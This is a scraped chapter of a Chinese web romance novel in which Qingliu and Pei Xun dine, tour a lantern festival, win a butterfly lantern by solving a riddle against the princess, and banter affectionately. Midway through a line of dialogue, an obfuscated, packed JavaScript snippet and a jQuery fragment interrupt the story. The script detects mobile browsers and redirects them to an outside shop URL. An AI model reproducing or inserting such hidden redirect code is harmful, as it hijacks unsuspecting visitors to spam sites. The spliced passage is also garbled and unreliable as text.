文趣网 > 其他小说 > 方姑娘与裴大人 > 16. 花灯月下
    花灯会那日傍晚时分,京城多条长街将流光如海。青石板路两侧楼阁檐角、商铺廊下、河边柳梢,处处悬满花灯。

    莲灯清雅、兔灯灵动、走马灯轮转不休,龙凤灯缠绕金纱,琉璃灯剔透映出人影,还有匠人扎制的楼台车马、花鸟异兽灯,层层叠叠绵延数里,倒映在护城河水面,上下两片星河难分真假。

    街上人声鼎沸,车马缓行却不拥挤。姑娘们身着绫罗裙衫,鬓边簪着珠花,手提小巧纱灯结伴说笑;少年郎君更喜好穿梭灯影间猜灯谜,红纸谜面悬于灯下,猜对便可换取糖画、绢花;孩童牵着圆滚滚的兔子灯,蹦跳追逐,灯笼流苏随脚步晃出细碎光影。

    街边摊铺鳞次栉比,热气袅袅升腾。糖人师傅雕龙画凤,街边小摊的汤圆白白胖胖可爱极了,炸元宵、蜜糕、冰糖葫芦左右布排。说书人在棚下敲醒木讲传奇,杂耍艺人舞龙舞狮,金鳞长龙随锣鼓穿梭灯巷,雄狮腾跃扑灯,引得围观百姓阵阵喝彩。河面上画舫游船缓缓漂行,船舷挂满彩灯,丝竹乐声随风飘荡。

    岸边文人雅士、世家贵族凭栏赏灯,提笔作诗洒画;寻常百姓扶老携幼,仰头凝望漫天灯火。月光、灯火、水光相融,笑语、鼓乐、叫卖声交织,整夜将无宵禁,灯火将会到破晓方才渐熄,满城欢愉,岁岁不绝。

    清柳与裴询差不多同一时辰到达观澜阁,今晚的二人都特意的装扮了一番。清柳秀发梳成繁复垂鬟分肖髻,正中簪一支鎏金点翠海棠步摇,稍一动身,细碎珍珠便轻轻摇曳生辉,面上薄敷淡粉,轻点胭脂在两颊,眉黛描成远山弯月,唇间抹一点绛红唇脂,衬得肌肤莹白似玉。一身偏橘粉的烟霞色绫罗襦裙,裙摆绣了缠枝银线莲纹,外搭一件月白薄纱褙子,腕间系着银铃镯,往日多素净淡雅且随性,今日从头到脚精心打点,眉眼间平添几分温婉明艳,立在窗边灯影里,竟比满街花灯还要动人几分。

    裴询以银白发冠整齐束起,额前光洁利落,面上清俊疏朗,一双眸子温润似含春水,身着一袭淡青色暗纹锦袍,腰束玉带,悬一块通透白玉佩,袖口滚银边,剪裁得体衬得身形挺拔修长,肩宽腰窄,身姿端正如青松临风,惹眼得紧。

    二人对视一眼,情意心照不宣。

    “清清,目前尚早,先用晚膳再去参加等会可好?”。裴询微笑着轻声道。

    “好呀,的确是肚子空空。”。清柳笑着回应。

    裴询着人去安排,大约两刻钟时间,菜已上齐。正中一盘清蒸银鲤肉色鲜亮,姜葱丝铺于鱼身,豉油浸润皮肉,鲜气漫溢,一旁琥珀色蜜汁红烧肉切得厚薄匀称,油光温润,青瓷大碗盛着文火慢炖的鸡汤,汤色清润金黄,鸡块、红枣、嫩笋浮沉其间,香气扑面而来;周边错落摆着几盘精致小炒,中和荤素,一盘果盘盛着鲜果,莹润喜人。

    二人相对坐定,共赴晚膳。

    “好吃,都好吃,果然还是贵的好吃”。清柳没有食不言的习惯,边吃边调侃道。

    “那就多吃点”。裴询说着又向她加菜。

    “嗯嗯嗯,我要都吃完,免得浪费”。清柳吃得有些包不住嘴了。

    “别太撑着,以免身体不适。”裴询提醒道。

    “嗯嗯……”。话都不说了,干饭。

    果然,还是撑着了,点得太多了,二人根本吃不完,清柳本着不浪费的原则,将自己的肚子吃成了一个球,裴询多次提醒也无济于事,只好随她,大不了多走走,消消食。

    待二人用完膳食,休整一下,夜幕已至。二人离开观澜阁,走上了灯火通明的大街。

    “清清,有没有不舒服”。裴询心细地问道,她吃太多,怕她有不适。

    “没有,我好着呢,这算什么,我饿得太凶时能吃下一头牛”。清柳开始吹牛了。

    裴询没接她的话,只是有些无奈又好笑地看着她。自然地牵上她的手,与她慢慢融进繁华又热闹的大街。

    “榜眼郎,我想要那个蝴蝶灯笼,帮我去赢回来吧”。清柳想要街边猜灯谜奖励的蝴蝶灯笼,开始指挥裴询上了,榜眼郎猜灯谜大材小用,灯笼肯定能得手,清柳心里道。

    果然,好看的东西大家都想要,这不,遇到竞争对手了,旁边的一对与裴询清柳二人差不多年龄的年轻男女也指明要蝴蝶灯笼,且看穿着打扮,身份也是不俗。

    “你认识旁边这两人吗?”清柳突然踮起脚尖附身到裴询耳朵边问道。

    “认识”。裴询以同样姿势回应,除了没踮脚,清柳感觉耳朵痒痒的。

    “谁?”清柳又悄悄问道。

    “一会再告诉你”。裴询也悄悄回应。

    为啥一会再告诉,这会不行吗?清柳瘪嘴。

    “好吧,你加油啊,我看好你,如果你赢不了,我就罚你给我做一个”。清柳还没进门,就开始骑到裴询头上了,嚣张得很。

    “我也可以给你做,但也定不辱命”。裴询是个疼未来媳妇的,自然依她。

    “呵呵呵,这两位贵女都是有眼光的,想要赢得我这花费好长时间才制成的蝴蝶灯笼,灯谜的难度可想而知,二位要不要再选其他的?”灯笼老板还劝人放弃?估计是觉得自己的灯笼保不住了才会这样卖关子,还要靠这个蝴蝶灯笼吸引人来猜灯谜赚钱呢,清柳对这种商人的小九九一清二楚。

    “不,就要这个,老板,出迷吧”。清柳拿出随份铜钱放在桌上专门收铜钱的小匣子里,说道。

    而旁边的年轻男女也是未放弃,催促老板出迷。

    “裴兄,今日要不让着我吧,回头定好好答谢你”。那年轻男子竟然与裴询打商量。

    “顾兄,其他的倒是无所谓,但我未过门娘子点名就要这个灯笼,我不能扫了她的兴,我们各凭本事吧”。说着向对方举手抱拳。

    对方年轻女子看了一下清柳,清柳捕捉到对方视线,露出善意的笑容,对方回以微笑后收回视线,等待谜语出炉。

    “既然都坚持,那两位郎君仔细听好了,"良人未至,却得相逢。"打一个字,二位只有半刻钟的时间,请吧”。灯笼老板说完后便开始用沙漏记时。

    良人未至,却得相逢。还真是难,清柳一点思绪也没有,平时也喜欢与人猜谜,普通谜语不在话下,但今日这个,嗯…好像猜不出来,只能寄托希望于裴询身上。

    “卿字,卿本佳人的卿字”。裴询给出答案。

    “原来如此,我认输了,裴兄,裴询依久好风采”。年轻男子输了,但未有懊恼或是不服气之态。

    “承让”。裴询回应道。

    “告辞”。说完二人携手离开。

    清柳顺利得到蝴蝶灯笼,一路上提着,左看右看,爱不释手,乐不可支,嘴都差点裂到耳朵了。

    “咦,刚不是说要告诉我那两人是谁吗?怎么没说”。清柳临时想到,问了裴询。

    “我以为你不在意,不感兴趣”。裴询笑着回应。

    “我好奇得紧,说吧说吧”。清柳催促着。

    “那两人是我们的媒人,你不妨猜猜?”。裴询也让清柳猜谜。

    “我们的媒人?肯定不是明面上的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836626|211456||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    媒人,那不用猜,媒人我知道长啥样。我悄悄去看了。嗯……”。清柳支着下巴仔细想了想,一会儿过去了。

    “我知道了,是长公主和他的如意郎君,是不是?是不是?”

    清柳想到,她与裴询相遇的时间地点和原因,就是西山之行,西山之行的目的就是为了天家长公主的婚姻大事,她真的是太聪明了。

    “清清真聪明”。裴询伸手去刮了刮清柳的鼻子,毫不犹豫地赞扬道。

    “嘻嘻,是吧,我很厉害的”。清柳从来不知谦虚为何物。

    “嗯,是的,清清很厉害”。裴询无条件配合。

    “哎呀,那我是不是犯了不敬之罪,和长公主抢东西耶”。与天家公主争抢灯笼,是不是不太好。

    “无妨,我们是赢来了,不是抢来的,我方才没告诉你,就是想着你可能会因为她公主身份而放弃让我猜谜,我不想你这样,喜欢的东西就去争取”。裴询说得真诚又贴心。

    “那还真有可能耶,我一个没见过世面的,胆小得很”。清柳笑嘻嘻地说道。

    “我就没见过比你更胆大的女子,清清”。裴询微笑地拆她的台。

    “哪有?我连一只蚂蚁都不敢踩死,你对我有很大的误解”。清柳反驳道,对,她连嫡母恶语相向都能忍,不想惹事生非,她真的非常胆小。

    “都敢独自一人来找我,遇事不慌乱,见多识广,你……胆小?”裴询也与她耍嘴皮子。

    “那不是牡丹花下死做鬼也风流嘛,我对你一见倾心,自然想方设法接近你,自然献尽殷勤,做尽能力之事,你看我目的不就达到了嘛”。猝不及防的表白,这是裴询没想到的,一时间大脑空白,不知给予什么话回应。只是将手里的小手拽得更紧。

    “嘻嘻,开心吗?我对你一见倾心耶”。清柳脸皮比城墙还厚。

    “清清撒谎,你说你见我是在打马游街那天,你嫌弃我黑,不可能对我一见倾心”。裴询会与清柳辩驳了。

    “不倾心怎么会一直记得你那时黑,还一眼就对上人了。”清柳继续辩论。

    “……询就当清清对询一见倾心了,往后清清要对询更倾心更好。”裴询离清柳更近了一些,笑着回应道。

    “那是,我以后会对你更好的,你叫我往东我决不往西,这个家,你算了说”。清柳开始哄人了,哄人她很有一套的。

    “不过你老实交代吧,殿试那会为啥把自己弄得黑黝黝的?我感觉有猫腻。自我与你相处以来,你那次不是打扮得像只花孔雀一样,惹得我心神荡漾、心花怒放的”。清柳姑娘又开始语不着调地胡乱撩人。

    “……”。裴询沉默了。他只是衣着得体而已,啥时候是成花孔雀了?叹了一口气,裴询自动忽略花孔雀一词,回应道:

    “确实是有意晒黑的,唯恐被天家榜下捉婿,长公主喜好俊靓男子,而我不想尚公主”。

    “嘻嘻,那个准驸马没你好看,幸亏公主婚事已定,要不我真不敢保证抢得过她”。清柳开始想象如果裴询被捉婿,没她的份怎么办。

    “不会,你也说了,我们是有缘人,我们迟早会相遇、相知、相守的”。裴询肯定地给予回应。

    “嗯,我们是有缘人”。清柳看着裴询回应道。

    人海辗转,满城灯火通明,二人静静牵着手立在阑珊光影里,灯笼将两道影子拉得忽长忽短,晚风轻轻拂过,周遭喧嚣都成了背景。纵览万千风景,最动人的从来不是繁花盛景,而是身边始终有你,灯火之下,十指紧扣,一路同行。